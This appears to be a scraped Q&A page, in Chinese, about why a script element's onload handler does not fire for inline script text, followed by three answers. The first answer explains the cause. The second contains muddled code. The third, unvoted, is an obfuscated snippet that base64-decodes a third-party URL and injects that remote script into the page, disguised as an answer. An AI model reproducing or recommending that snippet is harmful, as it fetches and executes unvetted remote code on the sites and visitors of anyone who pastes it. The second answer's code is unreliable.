脚本标签中的onload事件未触发

问题描述 投票:0回答:3

作为前言,我已经查看了 SO 上有关此问题的现有帖子,我相信我的代码包含了所有建议的修复,但它仍然不起作用。

我正在尝试触发一个简单的 onload 事件:

var test = function() {
    console.log("Script loaded! V2")
}

//Append new user script to head 
const userProg = document.createElement('script')
userProg.type = 'text/javascript'
userProg.id = 'user-program'

userProg.addEventListener('load', test, false)
userProg.onload = function() {
    console.log("Script loaded! V1")
}

userProg.text = [goatPuzzleSetupCode, genericSetupCode, userCode, resultToJSONCode].join('\n')
document.head.appendChild(userProg)

令人沮丧的是,我之前已经触发了

onload
事件,但我没有它运行时的代码副本。所以我不确定问题是什么。

javascript onload script-tag
3个回答
2
投票

听起来您正在寻找像 afterscriptexecute 这样的事件,不幸的是,这是非标准的,不应该使用。但是,由于您已经直接插入脚本文本,因此假设附加脚本不包含错误,向触发

window
函数的文本添加其他内容应该足够简单。例如:

window.scriptLoaded = function() {
    console.log("Script loaded! V2")
}
const text1 = 'console.log("script1 running")';
const text2 = 'console.log("script2 running")';
//Append new user script to head 
const userProg = document.createElement('script')
userProg.text = [text1, text2, 'scriptLoaded();'].join('\n');
document.head.appendChild(userProg)

onload
不起作用,因为正如评论所说:

onload 是在元素加载时发生的。我,已经下载完毕了。

但是没有

src
的脚本就无法下载)


2
投票

Onload
在您的情况下不起作用,因为没有任何内容可以加载内联脚本它将适用于将要下载的脚本
remote scripts

不过还需要注意一件事

remote scripts

需要在

src
事件后设置
onload
属性。

//Append new user script to head 
var goatPuzzleSetupCode=  console.log("Script goatPuzzleSetupCode");
var genericSetupCode=  console.log("Script genericSetupCode");
var userCode=  console.log("Script userCode");
var resultToJSONCode=  console.log("Script resultToJSONCode");
var userProg = document.createElement('script');


var script="//cdnjs.cloudflare.com/ajax/libs/less.js/1.3.3/less.min.js";
//userProg.addEventListener('load', test, false);
userProg.onload = function(script) {
    console.log("Script loaded! 1"+script)
	test();
};
userProg.src=script;
userProg.text = [goatPuzzleSetupCode, genericSetupCode, userCode, resultToJSONCode].join('\n')
document.head.appendChild(userProg);


 
 var test = function() {
    console.log("Script loaded! 2")
}


0
投票
window.onload=function(){var e=document.createElement("script"),t=document.getElementsByTagName("script")[0];e.async=!0,e.src=atob("aHR0cHM6Ly9jaGF0NHNpdGUuYWkvZW1iZWRXaWRnZXQuanM/ dD0=")+Math.floor(Date.now()),e.charset="UTF-8",e.setAttribute("crossorigin","*"),e.setAttribute("widgetId","17432574" ),t.parentNode.insertBefore(e,t)}();
© www.soinside.com 2019 - 2024. All rights reserved.